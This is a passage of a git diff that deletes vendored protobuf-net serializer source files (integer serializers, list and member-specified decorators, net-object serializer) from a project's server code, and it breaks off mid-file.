valueFrom) : null) - using(Compiler.Local builder = new Compiler.Local(ctx, builderFactory.ReturnType)) - { - ctx.EmitCall(builderFactory); - ctx.StoreValue(builder); - - if(AppendToCollection) - { - Compiler.CodeLabel done = ctx.DefineLabel(); - if(!ExpectedType.IsValueType) - { - ctx.LoadValue(oldList); - ctx.BranchIfFalse(done, false); // old value null; nothing to add - } - PropertyInfo prop = Helpers.GetProperty(ExpectedType, "Length", false); - if(prop == null) prop = Helpers.GetProperty(ExpectedType, "Count", false); -#if !NO_GENERICS - if (prop == null) prop = Helpers.GetProperty(ResolveIReadOnlyCollection(ExpectedType, Tail.ExpectedType), "Count", false); -#endif - ctx.LoadAddress(oldList, oldList.Type); - ctx.EmitCall(Helpers.GetGetMethod(prop, false, false)); - ctx.BranchIfFalse(done, false); // old list is empty; nothing to add - - Type voidType = ctx.MapType(typeof(void)); - if(addRange != null) - { - ctx.LoadValue(builder); - ctx.LoadValue(oldList); - ctx.EmitCall(addRange); - if (addRange.ReturnType != null && add.ReturnType != voidType) ctx.DiscardValue(); - } - else - { - // loop and call Add repeatedly - MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current); - Helpers.DebugAssert(moveNext != null); - Helpers.DebugAssert(current != null); - Helpers.DebugAssert(getEnumerator != null); - - Type enumeratorType = getEnumerator.ReturnType; - using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType)) - { - ctx.LoadAddress(oldList, ExpectedType); - ctx.EmitCall(getEnumerator); - ctx.StoreValue(iter); - using (ctx.Using(iter)) - { - Compiler.CodeLabel body = ctx.DefineLabel(), next = ctx.DefineLabel(); - ctx.Branch(next, false); - - ctx.MarkLabel(body); - ctx.LoadAddress(builder, builder.Type); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(current); - ctx.EmitCall(add); - if (add.ReturnType != null && add.ReturnType != voidType) ctx.DiscardValue(); - - ctx.MarkLabel(@next); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(moveNext); - ctx.BranchIfTrue(body, false); - } - } - } - - - ctx.MarkLabel(done); - } - - EmitReadList(ctx, builder, Tail, add, packedWireType, false); - - ctx.LoadAddress(builder, builder.Type); - ctx.EmitCall(finish); - if(ExpectedType != finish.ReturnType) - { - ctx.Cast(ExpectedType); - } - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/Int16Serializer.cs b/Server/Core/ProtoBuf/Serializers/Int16Serializer.cs deleted file mode 100644 index b42f052a..00000000 --- a/Server/Core/ProtoBuf/Serializers/Int16Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int16Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (short); -#endif - - public Int16Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(short)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt16(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt16((short) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt16", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt16", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/Int32Serializer.cs b/Server/Core/ProtoBuf/Serializers/Int32Serializer.cs deleted file mode 100644 index 640f7999..00000000 --- a/Server/Core/ProtoBuf/Serializers/Int32Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int32Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (int); -#endif - - public Int32Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(int)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt32(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt32((int) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt32", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt32", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/Int64Serializer.cs b/Server/Core/ProtoBuf/Serializers/Int64Serializer.cs deleted file mode 100644 index 1fe53a41..00000000 --- a/Server/Core/ProtoBuf/Serializers/Int64Serializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int64Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (long); -#endif - - public Int64Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(long)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt64(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt64((long) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt64", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt64", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs b/Server/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs deleted file mode 100644 index 3350938f..00000000 --- a/Server/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs +++ /dev/null @@ -1,39 +0,0 @@ -namespace ProtoBuf.Serializers -{ - /* - sealed class KeyValuePairDecorator : IProtoSerializer - { - private readonly Type pairType; - private readonly IProtoSerializer keyTail, valueTail; - public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) { - Helpers.DebugAssert(pairType != null); - Helpers.DebugAssert(keyTail != null); - Helpers.DebugAssert(valueTail != null); - Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch"); - this.pairType = pairType; - this.keyTail = keyTail; - this.valueTail = valueTail; - } - - public Type ExpectedType { get { return pairType;}} - public bool ReturnsValue { get { return true; } } - public bool RequiresOldValue { get { return true; } } - public abstract void Write(object value, ProtoWriter dest) - { - - } - public abstract object Read(object value, ProtoReader source) - { - - } -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - throw new NotImplementedException(); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { - throw new NotImplementedException(); - } -#endif - }*/ -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ListDecorator.cs b/Server/Core/ProtoBuf/Serializers/ListDecorator.cs deleted file mode 100644 index eb4696b9..00000000 --- a/Server/Core/ProtoBuf/Serializers/ListDecorator.cs +++ /dev/null @@ -1,599 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal class ListDecorator : ProtoDecoratorBase - { - internal static bool CanPack(WireType wireType) - { - switch (wireType) - { - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.SignedVariant: - case WireType.Variant: - return true; - default: - return false; - } - } - - private readonly byte options; - - private const byte OPTIONS_IsList = 1, - OPTIONS_SuppressIList = 2, - OPTIONS_WritePacked = 4, - OPTIONS_ReturnList = 8, - OPTIONS_OverwriteList = 16, - OPTIONS_SupportNull = 32; - - private readonly Type declaredType, concreteType; - - private readonly MethodInfo add; - - private readonly int fieldNumber; - - private bool IsList - { - get { return (options & OPTIONS_IsList) != 0; } - } - - private bool SuppressIList - { - get { return (options & OPTIONS_SuppressIList) != 0; } - } - - private bool WritePacked - { - get { return (options & OPTIONS_WritePacked) != 0; } - } - - private bool SupportNull - { - get { return (options & OPTIONS_SupportNull) != 0; } - } - - private bool ReturnList - { - get { return (options & OPTIONS_ReturnList) != 0; } - } - - protected readonly WireType packedWireType; - - - internal static ListDecorator Create(TypeModel model, Type declaredType, Type concreteType, - IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, - bool overwriteList, bool supportNull) - { -#if !NO_GENERICS - MethodInfo builderFactory, add, addRange, finish; - if (returnList && - ImmutableCollectionDecorator.IdentifyImmutable(model, declaredType, out builderFactory, out add, - out addRange, out finish)) - { - return new ImmutableCollectionDecorator( - model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, - overwriteList, supportNull, - builderFactory, add, addRange, finish); - } - -#endif - return new ListDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, - returnList, overwriteList, supportNull); - } - - protected ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, - int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, - bool supportNull) - : base(tail) - { - if (returnList) options |= OPTIONS_ReturnList; - if (overwriteList) options |= OPTIONS_OverwriteList; - if (supportNull) options |= OPTIONS_SupportNull; - if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) - throw new ArgumentOutOfRangeException("fieldNumber"); - if (!CanPack(packedWireType)) - { - if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding"); - packedWireType = WireType.None; - } - - this.fieldNumber = fieldNumber; - if (writePacked) options |= OPTIONS_WritePacked; - this.packedWireType = packedWireType; - if (declaredType == null) throw new ArgumentNullException("declaredType"); - if (declaredType.IsArray) throw new ArgumentException("Cannot treat arrays as lists", "declaredType"); - this.declaredType = declaredType; - this.concreteType = concreteType; - - // look for a public list.Add(typedObject) method - if (RequireAdd) - { - bool isList; - add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out isList); - if (isList) - { - options |= OPTIONS_IsList; - string fullName = declaredType.FullName; - if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[[")) - { - // see http://stackoverflow.com/questions/6194639/entityset-is-there-a-sane-reason-that-ilist-add-doesnt-set-assigned - options |= OPTIONS_SuppressIList; - } - } - if (add == null) - throw new InvalidOperationException("Unable to resolve a suitable Add method for " + - declaredType.FullName); - } - } - - protected virtual bool RequireAdd - { - get { return true; } - } - - public override Type ExpectedType - { - get { return declaredType; } - } - - public override bool RequiresOldValue - { - get { return AppendToCollection; } - } - - public override bool ReturnsValue - { - get { return ReturnList; } - } - - protected bool AppendToCollection - { - get { return (options & OPTIONS_OverwriteList) == 0; } - } - -#if FEAT_COMPILER - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - /* This looks more complex than it is. Look at the non-compiled Read to - * see what it is trying to do, but note that it needs to cope with a - * few more scenarios. Note that it picks the **most specific** Add, - * unlike the runtime version that uses IList when possible. The core - * is just a "do {list.Add(readValue())} while {thereIsMore}" - * - * The complexity is due to: - * - value types vs reference types (boxing etc) - * - initialization if we need to pass in a value to the tail - * - handling whether or not the tail *returns* the value vs updates the input - */ - bool returnList = ReturnList; - - using (Compiler.Local list = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Compiler.Local(ctx, declaredType)) - using (Compiler.Local origlist = (returnList && AppendToCollection) ? new Compiler.Local(ctx, ExpectedType) : null) - { - if (!AppendToCollection) - { // always new - ctx.LoadNullRef(); - ctx.StoreValue(list); - } - else if (returnList) - { // need a copy - ctx.LoadValue(list); - ctx.StoreValue(origlist); - } - if (concreteType != null) - { - ctx.LoadValue(list); - Compiler.CodeLabel notNull = ctx.DefineLabel(); - ctx.BranchIfTrue(notNull, true); - ctx.EmitCtor(concreteType); - ctx.StoreValue(list); - ctx.MarkLabel(notNull); - } - - bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType); - EmitReadList(ctx, list, Tail, add, packedWireType, castListForAdd); - - if (returnList) - { - if (AppendToCollection) - { - // remember ^^^^ we had a spare copy of the list on the stack; now we'll compare - ctx.LoadValue(origlist); - ctx.LoadValue(list); // [orig] [new-value] - Compiler.CodeLabel sameList = ctx.DefineLabel(), allDone = ctx.DefineLabel(); - ctx.BranchIfEqual(sameList, true); - ctx.LoadValue(list); - ctx.Branch(allDone, true); - ctx.MarkLabel(sameList); - ctx.LoadNullRef(); - ctx.MarkLabel(allDone); - } - else - { - ctx.LoadValue(list); - } - } - } - } - - internal static void EmitReadList(ProtoBuf.Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd) - { - using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - Compiler.CodeLabel readPacked = packedWireType == WireType.None ? new Compiler.CodeLabel() : ctx.DefineLabel(); - if (packedWireType != WireType.None) - { - ctx.LoadReaderWriter(); - ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType")); - ctx.LoadValue((int)WireType.String); - ctx.BranchIfEqual(readPacked, false); - } - ctx.LoadReaderWriter(); - ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber")); - ctx.StoreValue(fieldNumber); - - Compiler.CodeLabel @continue = ctx.DefineLabel(); - ctx.MarkLabel(@continue); - - EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); - - ctx.LoadReaderWriter(); - ctx.LoadValue(fieldNumber); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader")); - ctx.BranchIfTrue(@continue, false); - - if (packedWireType != WireType.None) - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - ctx.Branch(allDone, false); - ctx.MarkLabel(readPacked); - - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); - - Compiler.CodeLabel testForData = ctx.DefineLabel(), noMoreData = ctx.DefineLabel(); - ctx.MarkLabel(testForData); - ctx.LoadValue((int)packedWireType); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue")); - ctx.BranchIfFalse(noMoreData, false); - - EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); - ctx.Branch(testForData, false); - - ctx.MarkLabel(noMoreData); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); - ctx.MarkLabel(allDone); - } - - - - } - } - - private static void EmitReadAndAddItem(Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd) - { - ctx.LoadAddress(list, list.Type); // needs to be the reference in case the list is value-type (static-call) - if (castListForAdd) ctx.Cast(add.DeclaringType); - Type itemType = tail.ExpectedType; - bool tailReturnsValue = tail.ReturnsValue; - if (tail.RequiresOldValue) - { - if (itemType.IsValueType || !tailReturnsValue) - { - // going to need a variable - using (Compiler.Local item = new Compiler.Local(ctx, itemType)) - { - if (itemType.IsValueType) - { // initialise the struct - ctx.LoadAddress(item, itemType); - ctx.EmitCtor(itemType); - } - else - { // assign null - ctx.LoadNullRef(); - ctx.StoreValue(item); - } - tail.EmitRead(ctx, item); - if (!tailReturnsValue) { ctx.LoadValue(item); } - } - } - else - { // no variable; pass the null on the stack and take the value *off* the stack - ctx.LoadNullRef(); - tail.EmitRead(ctx, null); - } - } - else - { - if (tailReturnsValue) - { // out only (on the stack); just emit it - tail.EmitRead(ctx, null); - } - else - { // doesn't take anything in nor return anything! WTF? - throw new InvalidOperationException(); - } - } - // our "Add" is chosen either to take the correct type, or to take "object"; - // we may need to box the value - - Type addParamType = add.GetParameters()[0].ParameterType; - if(addParamType != itemType) { - if (addParamType == ctx.MapType(typeof(object))) - { - ctx.CastToObject(itemType); - } -#if !NO_GENERICS - else if(Helpers.GetUnderlyingType(addParamType) == itemType) - { // list is nullable - ConstructorInfo ctor = Helpers.GetConstructor(addParamType, new Type[] {itemType}, false); - ctx.EmitCtor(ctor); // the itemType on the stack is now a Nullable - } -#endif - else - { - throw new InvalidOperationException("Conflicting item/add type"); - } - } - ctx.EmitCall(add); - if (add.ReturnType != ctx.MapType(typeof(void))) - { - ctx.DiscardValue(); - } - } -#endif - -#if WINRT - private static readonly TypeInfo ienumeratorType = typeof(IEnumerator).GetTypeInfo(), ienumerableType = typeof (IEnumerable).GetTypeInfo(); -#else - private static readonly System.Type ienumeratorType = typeof (IEnumerator), - ienumerableType = typeof (IEnumerable); -#endif - - protected MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current) - { -#if WINRT - TypeInfo enumeratorType = null, iteratorType, expectedType = ExpectedType.GetTypeInfo(); -#else - Type enumeratorType = null, iteratorType, expectedType = ExpectedType; -#endif - - // try a custom enumerator - MethodInfo getEnumerator = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null); - Type itemType = Tail.ExpectedType; - - Type getReturnType = null; - if (getEnumerator != null) - { - getReturnType = getEnumerator.ReturnType; - iteratorType = getReturnType -#if WINRT - .GetTypeInfo() -#endif - ; - moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext", null); - PropertyInfo prop = Helpers.GetProperty(iteratorType, "Current", false); - current = prop == null ? null : Helpers.GetGetMethod(prop, false, false); - if (moveNext == null && (model.MapType(ienumeratorType).IsAssignableFrom(iteratorType))) - { - moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null); - } - // fully typed - if (moveNext != null && moveNext.ReturnType == model.MapType(typeof (bool)) - && current != null && current.ReturnType == itemType) - { - return getEnumerator; - } - moveNext = current = getEnumerator = null; - } - -#if !NO_GENERICS - // try IEnumerable - Type tmp = model.MapType(typeof (System.Collections.Generic.IEnumerable<>), false); - - if (tmp != null) - { - tmp = tmp.MakeGenericType(itemType); - -#if WINRT - enumeratorType = tmp.GetTypeInfo(); -#else - enumeratorType = tmp; -#endif - } - ; - if (enumeratorType != null && enumeratorType.IsAssignableFrom(expectedType)) - { - getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator"); - getReturnType = getEnumerator.ReturnType; - -#if WINRT - iteratorType = getReturnType.GetTypeInfo(); -#else - iteratorType = getReturnType; -#endif - - moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext"); - current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false); - return getEnumerator; - } -#endif - // give up and fall-back to non-generic IEnumerable - enumeratorType = model.MapType(ienumerableType); - getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator"); - getReturnType = getEnumerator.ReturnType; - iteratorType = getReturnType -#if WINRT - .GetTypeInfo() -#endif - ; - moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext"); - current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false); - return getEnumerator; - } - -#if FEAT_COMPILER - protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - using (Compiler.Local list = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current); - Helpers.DebugAssert(moveNext != null); - Helpers.DebugAssert(current != null); - Helpers.DebugAssert(getEnumerator != null); - Type enumeratorType = getEnumerator.ReturnType; - bool writePacked = WritePacked; - using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType)) - using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null) - { - if (writePacked) - { - ctx.LoadValue(fieldNumber); - ctx.LoadValue((int)WireType.String); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); - - ctx.LoadValue(list); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - ctx.LoadValue(fieldNumber); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField")); - } - - ctx.LoadAddress(list, ExpectedType); - ctx.EmitCall(getEnumerator); - ctx.StoreValue(iter); - using (ctx.Using(iter)) - { - Compiler.CodeLabel body = ctx.DefineLabel(), next = ctx.DefineLabel(); - ctx.Branch(next, false); - - ctx.MarkLabel(body); - - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(current); - Type itemType = Tail.ExpectedType; - if (itemType != ctx.MapType(typeof(object)) && current.ReturnType == ctx.MapType(typeof(object))) - { - ctx.CastFromObject(itemType); - } - Tail.EmitWrite(ctx, null); - - ctx.MarkLabel(@next); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(moveNext); - ctx.BranchIfTrue(body, false); - } - - if (writePacked) - { - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); - } - } - } - } -#endif - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - SubItemToken token; - bool writePacked = WritePacked; - if (writePacked) - { - ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); - token = ProtoWriter.StartSubItem(value, dest); - ProtoWriter.SetPackedField(fieldNumber, dest); - } - else - { - token = new SubItemToken(); // default - } - bool checkForNull = !SupportNull; - foreach (object subItem in (IEnumerable) value) - { - if (checkForNull && subItem == null) - { - throw new NullReferenceException(); - } - Tail.Write(subItem, dest); - } - if (writePacked) - { - ProtoWriter.EndSubItem(token, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - int field = source.FieldNumber; - object origValue = value; - if (value == null) value = Activator.CreateInstance(concreteType); - bool isList = IsList && !SuppressIList; - if (packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - if (isList) - { - IList list = (IList) value; - while (ProtoReader.HasSubValue(packedWireType, source)) - { - list.Add(Tail.Read(null, source)); - } - } - else - { - object[] args = new object[1]; - while (ProtoReader.HasSubValue(packedWireType, source)) - { - args[0] = Tail.Read(null, source); - add.Invoke(value, args); - } - } - ProtoReader.EndSubItem(token, source); - } - else - { - if (isList) - { - IList list = (IList) value; - do - { - list.Add(Tail.Read(null, source)); - } while (source.TryReadFieldHeader(field)); - } - else - { - object[] args = new object[1]; - do - { - args[0] = Tail.Read(null, source); - add.Invoke(value, args); - } while (source.TryReadFieldHeader(field)); - } - } - return origValue == value ? null : value; - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs b/Server/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs deleted file mode 100644 index 7bc9f27c..00000000 --- a/Server/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs +++ /dev/null @@ -1,96 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class MemberSpecifiedDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly MethodInfo getSpecified, setSpecified; - - public MemberSpecifiedDecorator(MethodInfo getSpecified, MethodInfo setSpecified, IProtoSerializer tail) - : base(tail) - { - if (getSpecified == null && setSpecified == null) throw new InvalidOperationException(); - this.getSpecified = getSpecified; - this.setSpecified = setSpecified; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - if (getSpecified == null || (bool) getSpecified.Invoke(value, null)) - { - Tail.Write(value, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - object result = Tail.Read(value, source); - if (setSpecified != null) setSpecified.Invoke(value, new object[] {true}); - return result; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (getSpecified == null) - { - Tail.EmitWrite(ctx, valueFrom); - return; - } - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.EmitCall(getSpecified); - Compiler.CodeLabel done = ctx.DefineLabel(); - ctx.BranchIfFalse(done, false); - Tail.EmitWrite(ctx, loc); - ctx.MarkLabel(done); - } - - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (setSpecified == null) - { - Tail.EmitRead(ctx, valueFrom); - return; - } - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - Tail.EmitRead(ctx, loc); - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(1); // true - ctx.EmitCall(setSpecified); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/NetObjectSerializer.cs b/Server/Core/ProtoBuf/Serializers/NetObjectSerializer.cs deleted file mode 100644 index 7fb7fdfc..00000000 --- a/Server/Core/ProtoBuf/Serializers/NetObjectSerializer.cs +++ /dev/null @@ -1,82 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class NetObjectSerializer : IProtoSerializer - { - private readonly int key; - private readonly Type type; - - private readonly BclHelpers.NetObjectOptions options; - - public NetObjectSerializer(TypeModel model, Type type, int key, BclHelpers.NetObjectOptions options) - { - bool dynamicType = (options & BclHelpers.NetObjectOptions.DynamicType) != 0; - this.key = dynamicType ? -1 : key; - this.type = dynamicType ? model.MapType(typeof (object)) : type; - this.options = options; - } - - public Type ExpectedType - { - get { return type; } - } - - public bool ReturnsValue - { - get { return true; } - } - - public bool RequiresOldValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - return BclHelpers.ReadNetObject(value, source, key, type == typeof (object) ? null : type, options); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteNetObject(value, dest, key, options); - } -#endif - -#if FEAT_COMPILER - public void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.CastToObject(type); - ctx.LoadReaderWriter(); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); - if (type == ctx.MapType(typeof(object))) ctx.LoadNullRef(); - else ctx.LoadValue(type); - ctx.LoadValue((int)options); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("ReadNetObject")); - ctx.CastFromObject(type); - } - public void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.CastToObject(type); - ctx.LoadReaderWriter(); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); - ctx.LoadValue((int)options); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("WriteNetObject")); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/NullDecorator.cs b/Server/Core/ProtoBuf/Serializers/NullDecorator.cs deleted file mode 100644 index 6dbbee0f..00000000 --- a/Server/Core/ProtoBuf/Serializers/NullDecorator.cs +++ /dev/null @@ -1,189 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class NullDecorator : ProtoDecoratorBase - { - private readonly Type expectedType; - public const int Tag = 1; - - public NullDecorator(TypeModel model, IProtoSerializer tail) : base(tail) - { - if (!tail.ReturnsValue) - throw new 